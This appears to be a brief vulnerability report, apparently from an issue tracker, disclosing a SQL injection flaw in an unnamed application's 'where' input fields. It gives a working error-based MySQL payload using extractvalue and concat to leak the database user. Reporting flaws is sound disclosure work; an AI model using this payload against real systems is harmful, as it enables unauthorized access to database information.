There is a SQL inject vulnerability

[izj007]

Just try

1=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)))

in where input fields. so i can get the user of mysql database.